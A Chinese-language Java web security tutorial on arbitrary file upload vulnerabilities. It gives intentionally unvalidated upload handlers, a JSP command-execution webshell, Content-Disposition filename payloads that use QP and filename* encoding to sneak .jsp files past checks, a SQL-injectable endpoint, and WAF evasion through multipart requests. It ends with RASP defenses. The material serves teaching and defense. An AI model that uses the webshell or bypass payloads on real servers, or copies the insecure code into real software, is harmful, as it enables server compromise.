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Web应用通常都会包含文件上传功能，用户可以将其本地的文件上传到Web服务器上。如果服务器端没有能够正确的检测用户上传的文件类型是否合法(例如上传了jsp后缀的WebShell)就将文件写入到服务器中就可能会导致服务器被非法入侵。
1. Apache commons fileupload文件上传测试
Apache commons-fileupload是一个非常常用的文件上传解析库，Spring MVC、Struts2、Tomcat等底层处理文件上传请求都是使用的这个库。
示例 – Apache commons-fileupload文件上传：
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.commons.fileupload.FileItemIterator" %>
<%@ page import="org.apache.commons.fileupload.FileItemStream" %>
<%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %>
<%@ page import="org.apache.commons.fileupload.util.Streams" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%
if (ServletFileUpload.isMultipartContent(request)) {
ServletFileUpload fileUpload = new ServletFileUpload();
FileItemIterator fileItemIterator = fileUpload.getItemIterator(request);
String dir = request.getServletContext().getRealPath("/uploads/");
File uploadDir = new File(dir);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
while (fileItemIterator.hasNext()) {
FileItemStream fileItemStream = fileItemIterator.next();
String fieldName = fileItemStream.getFieldName();// 字段名称
if (fileItemStream.isFormField()) {
String fieldValue = Streams.asString(fileItemStream.openStream());// 字段值
out.println(fieldName + "=" + fieldValue);
} else {
String fileName = fileItemStream.getName();
File uploadFile = new File(uploadDir, fileName);
out.println(fieldName + "=" + fileName);
FileOutputStream fos = new FileOutputStream(uploadFile);
// 写文件
Streams.copy(fileItemStream.openStream(), fos, true);
out.println("文件上传成功:" + uploadFile.getAbsolutePath());
}
}
} else {
%>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>File upload</title>
</head>
<body>
<form action="" enctype="multipart/form-data" method="post">
<p>
用户名: <input name="username" type="text"/>
文件: <input id="file" name="file" type="file"/>
</p>
<input name="submit" type="submit" value="Submit"/>
</form>
</body>
</html>
<%
}
%>
示例 – 本地命令执行后门代码：
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<pre>
<%
String[] cmd = request.getParameterValues("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.println(new String(b, 0, a));
}
in.close();
%>
</pre>
因为Web应用未检测用户上传的文件合法性导致了任意文件上传漏洞，访问示例中的文件上传地址：http://localhost:8000/modules/servlet/fileupload/file-upload.jsp，并选择一个恶意的jsp后门(示例上传的是一个本地命令执行的后门):
后门成功的写入到了网站目录：
访问命令执行后门测试：http://localhost:8000/uploads/cmd.jsp?cmd=ls，如下图：
2. Servlet 3.0 内置文件上传解析
Servlet3.0 新增了对文件上传请求解析的支持，javax.servlet.http.HttpServletRequest#getParts，使用request.getParts();即可获取文件上传包解析后的结果，从此不再需要使用第三方jar来处理文件上传请求了。
2.1 JSP multipart-config
JSP使用request.getParts();必须配置multipart-config，否则请求时会报错：Unable to process parts as no multi-part configuration has been provided（由于没有提供multi-part配置，无法处理parts）。
在web.xml中添加如下配置：
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="3.0"
xmlns="http://java.sun.com/xml/ns/javaee"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<servlet>
<servlet-name>file-upload-parts.jsp</servlet-name>
<jsp-file>/modules/servlet/fileupload/file-upload-parts.jsp</jsp-file>
<multipart-config>
<max-file-size>1000000</max-file-size>
<max-request-size>1000000</max-request-size>
<file-size-threshold>1000000</file-size-threshold>
</multipart-config>
</servlet>
<servlet-mapping>
<servlet-name>file-upload-parts.jsp</servlet-name>
<url-pattern>/modules/servlet/fileupload/file-upload-parts.jsp</url-pattern>
</servlet-mapping>
</web-app>
示例 – file-upload-parts.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.commons.io.IOUtils" %>
<%@ page import="java.util.Collection" %>
<%@ page import="java.io.File" %>
<%
String contentType = request.getContentType();
// 检测是否是multipart请求
if (contentType != null && contentType.startsWith("multipart/")) {
String dir = request.getSession().getServletContext().getRealPath("/uploads/");
File uploadDir = new File(dir);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
Collection<Part> parts = request.getParts();
for (Part part : parts) {
String fileName = part.getSubmittedFileName();
if (fileName != null) {
File uploadFile = new File(uploadDir, fileName);
out.println(part.getName() + ": " + uploadFile.getAbsolutePath() + "<br/>");
} else {
out.println(part.getName() + ": " + IOUtils.toString(part.getInputStream()) + "<br/>");
}
}
} else {
%>
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>File upload</title>
</head>
<body>
<form action="" enctype="multipart/form-data" method="post">
<p>
用户名: <input name="username" type="text"/>
文件: <input id="file" name="file" type="file"/>
</p>
<input name="submit" type="submit" value="Submit"/>
</form>
</body>
</html>
<%
}
%>
访问示例中的文件上传地址：http://localhost:8000/modules/servlet/fileupload/file-upload-parts.jsp：
文件上传成功：
2.2 Servlet @MultipartConfig
Servlet3.0 需要配置@MultipartConfig注解才能支持multipart解析。
示例 – FileUploadServlet代码：
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Collection;
@MultipartConfig
@WebServlet(urlPatterns = "/FileUploadServlet")
public class FileUploadServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
PrintWriter out = resp.getWriter();
out.println("<!DOCTYPE html>\n" +
"<html lang=\"zh\">\n" +
"<head>\n" +
" <meta charset=\"UTF-8\">\n" +
" <title>File upload</title>\n" +
"</head>\n" +
"<body>\n" +
"<form action=\"\" enctype=\"multipart/form-data\" method=\"post\">\n" +
" <p>\n" +
" 用户名: <input name=\"username\" type=\"text\"/>\n" +
" 文件: <input id=\"file\" name=\"file\" type=\"file\"/>\n" +
" </p>\n" +
" <input name=\"submit\" type=\"submit\" value=\"Submit\"/>\n" +
"</form>\n" +
"</body>\n" +
"</html>");
out.flush();
out.close();
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
PrintWriter out = response.getWriter();
String contentType = request.getContentType();
// 检测是否是multipart请求
if (contentType != null && contentType.startsWith("multipart/")) {
String dir = request.getSession().getServletContext().getRealPath("/uploads/");
File uploadDir = new File(dir);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
Collection<Part> parts = request.getParts();
for (Part part : parts) {
String fileName = part.getSubmittedFileName();
if (fileName != null) {
File uploadFile = new File(uploadDir, fileName);
out.println(part.getName() + ": " + uploadFile.getAbsolutePath());
FileUtils.write(uploadFile, IOUtils.toString(part.getInputStream(), "UTF-8"));
} else {
out.println(part.getName() + ": " + IOUtils.toString(part.getInputStream()));
}
}
}
out.flush();
out.close();
}
}
访问示例中的文件上传地址：http://localhost:8000/FileUploadServlet
文件上传成功：
3. Spring MVC文件上传
Spring MVC会自动解析multipart/form-data请求，将multipart中的对象封装到MultipartRequest对象中，所以在Controller中使用@RequestParam注解就可以映射multipart中的对象了，如：@RequestParam("file") MultipartFile file。
import org.javaweb.utils.FileUtils;
import org.javaweb.utils.HttpServletResponseUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.LinkedHashMap;
import java.util.Map;
import static org.javaweb.utils.HttpServletRequestUtils.getDocumentRoot;
@Controller
@RequestMapping("/FileUpload/")
public class FileUploadController {
@RequestMapping("/upload.php")
public void uploadPage(HttpServletResponse response) {
HttpServletResponseUtils.responseHTML(response, "<!DOCTYPE html>\n" +
"<html lang=\"en\">\n" +
"<head>\n" +
" <meta charset=\"UTF-8\">\n" +
" <title>File upload</title>\n" +
"</head>\n" +
"<body>\n" +
"<form action=\"/FileUpload/upload.do\" enctype=\"multipart/form-data\" method=\"post\">\n" +
" <p>\n" +
" 用户名: <input name=\"username\" type=\"text\"/>\n" +
" 文件: <input id=\"file\" name=\"file\" type=\"file\"/>\n" +
" </p>\n" +
" <input name=\"submit\" type=\"submit\" value=\"Submit\"/>\n" +
"</form>\n" +
"</body>\n" +
"</html>");
}
@ResponseBody
@RequestMapping("/upload.do")
public Map<String, Object> upload(String username, @RequestParam("file") MultipartFile file, HttpServletRequest request) {
// 文件名称
String filePath = "uploads/" + username + "/" + file.getOriginalFilename();
File uploadFile = new File(getDocumentRoot(request), filePath);
// 上传目录
File uploadDir = uploadFile.getParentFile();
// 上传文件对象
Map<String, Object> jsonMap = new LinkedHashMap<String, Object>();
if (!uploadDir.exists()) {
uploadDir.mkdirs();
}
try {
FileUtils.copyInputStreamToFile(file.getInputStream(), uploadFile);
jsonMap.put("url", filePath);
jsonMap.put("msg", "上传成功!");
} catch (IOException e) {
jsonMap.put("msg", "上传失败，服务器异常!");
}
return jsonMap;
}
}
访问示例中的文件上传地址：http://localhost:8000/FileUpload/upload.do，如下图：
后门成功的写入到了网站目录：
4. 文件上传 – 编码特性
4.1 QP编码
QP编码（ quoted-printable）是邮件协议中的一种内容编码方式，Quoted-printable是使用可打印的ASCII字符（如字母、数字与“=”）表示各种编码格式下的字符，以便能在7-bit数据通路上传输8-bit数据, 或者更一般地说在非8-bit clean媒体上正确处理数据，这被定义为MIME content transfer encoding。
示例 – JavaQP编码代码：
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.mail.internet.MimeUtility" %>
<%
String qp = request.getParameter("qp");
String encode = MimeUtility.encodeWord(qp);
String decode = MimeUtility.decodeWord(encode);
out.println("<pre>\nQP-Encoding: " + encode + "\nQP-Decode: " + decode);
%>
字符串：测试.jsp编码后的结果如下：
QP编码本与文件上传没有什么关系，但是由于在Java中最常用的Apache commons fileupload库从1.3开始支持了RFC 2047 Header值编码，从而支持解析使用QP编码后的文件名。
上传文件的时候选一个文件名经过QP编码后的文件，如：=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?=（测试.jsp）。
示例 – 文件上传测试：
示例 – Payload：
Content-Disposition: form-data; name="file"; filename="=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?="
编码处理类：org.apache.commons.fileupload.util.mime.MimeUtility#decodeText
文件上传成功后文件名被编码成了测试.jsp。
Spring MVC中同样支持QP编码，在Spring中有两种处理Multipart的Resolver： org.springframework.web.multipart.commons.CommonsMultipartResolver和org.springframework.web.multipart.support.StandardServletMultipartResolver。CommonsMultipartResolver使用的是commons fileupload解析的所以支持QP编码。StandardMultipartHttpServletRequest比较特殊，Spring 4没有处理QP编码：
但是在Spring 5修改了实现，如果文件名是=?开始?=结尾的话会调用javax.mail库的MimeDelegate解析QP编码：
javax.mail库不是JDK自带的，必须自行引包，如果不存在该包也将无法解析，SpringBoot + Spring4默认使用的是StandardServletMultipartResolver，但是基于配置的Spring MVC中经常会使用CommonsMultipartResolver，如：
<bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
<property name="defaultEncoding" value="UTF-8"></property>
<property name="maxUploadSize" value="50000000"></property>
<property name="maxInMemorySize" value="1024"></property>
</bean>
4.2 Spring 内置文件名编码特性
Spring会对文件上传的名称做特殊的处理，org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest内置了一种比较特殊的解析文件名的方式，如果传入的multipart请求无法直接使用filename=解析出文件名，Spring还会使用content-disposition解析一次（使用filename*=解析文件名）。
在文件上传时，修改Content-Disposition中的filename=为filename*="UTF-8'1.jpg'1.jsp"：
Spring4的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest解析逻辑：
Spring4的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#extractFilenameWithCharset代码如下：
extractFilenameWithCharset支持对传入的文件名编码，示例中传入的UTF-8'1.jpg'1.jsp会被解析成UTF-8编码，最终的文件名为1.jsp，而1.jpg则会被丢弃。
Spring5的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest除了支持QP编码以外，优化了Spring4的解析文件名的方式：
org.springframework.http.ContentDisposition#parse代码：
文件上传成功：
示例 – Payload：
Content-Disposition: form-data; name="file"; filename*="1.jsp"
Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'1.jsp"
Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?="
5. Multipart字段解析问题
在2013年左右，测试过非常多的WAF都不支持Multipart解析，当时经常使用Multipart请求方式来绕过WAF。Multipart所以使用请求与普通的GET/POST参数传输有非常大的区别，因为Multipart请求需要后端Web应用解析该请求包，Web容器也不会解析Multipart请求。WAF可能会解析Multipart但是很多时候可以直接绕过，比如很多WAF无法处理一个数据量较大的Multipart请求或者解析Multipart时不标准导致绕过。
在PHP中默认会解析Multipart请求，也就是说我们除了可以以GET/POST方式传参，还可以使用发送Multipart请求，后端一样可以接受到Multipart中的参数。在Java的MVC框架中Spring MVC、Struts2等实现了和PHP类似的功能，当框架发现请求方式是Multipart时就会主动的解析并将解析结果封装到HttpServletRequest中。
示例 – Spring MVC 注入代码片段：
@ResponseBody
@RequestMapping("/getArticleById.php")
public SysArticle getArticleByID(String id) {
return jdbcTemplate.queryForObject(
"select * from sys_article where id = " + id,
BeanPropertyRowMapper.newInstance(SysArticle.class)
);
}
访问示例程序：http://localhost:8000/getArticleById.php?id=100000：
使用Multipart请求注入数据库信息测试：
6. RASP防御恶意文件上传攻击
RASP不但应该防御Apache commons-fileupload库的文件上传请求，还应当支持Servlet 3.0新增的javax.servlet.http.Part。当检测到请求的文件名称包含了动态脚本文件（如：.jsp/.jspx/.jspf/.jspa/.php/.asp/.aspx等）的 时候需要立即拦截文件上传请求。
6.1 Apache commons fileupload 防御
Apache commons-fileupload底层处理解析Multipart的类是org.apache.commons.fileupload.FileUploadBase.FileItemIteratorImpl.FileItemStreamImpl，如下：
只需Hook FileItemStreamImpl类的构造方法就可以获取到Multipart的字段或者文件名称，RASP只需要检测传入的pName参数值cmd.jsp是否是一个合法的文件名称就可以实现文件上传校验了。
需要注意一点，Tomcat封装了Apache commons fileupload库，并修改了fileupload类的包名，如：org.apache.tomcat.util.http.fileupload.FileUploadBase.FileItemIteratorImpl.FileItemStreamImpl#FileItemStreamImpl，所以应当把这个类也放入检测范围内。
6.2 javax.servlet.http.Part防御
javax.servlet.http.Part是一个接口，不同的容器实现可能都不一样，RASP可以对javax.servlet.http.Part接口的getInputStream方法进行Hook，然后调用getName和getSubmittedFileName就可以获取到字段名称、文件名等信息。
需要特别注意的是Jakarta EE8修改了javax.servlet.http.Part的API包名为：jakarta.servlet.http.Part，为了能够适配高版本的Jakarta API。
6.3 Spring MVC文件名内置编码支持
RASP为了更好的防御文件上传类请求，需要支持RFC 2047的QP编码，还需要支持对Spring MVC内置的文件名编码处理处理。
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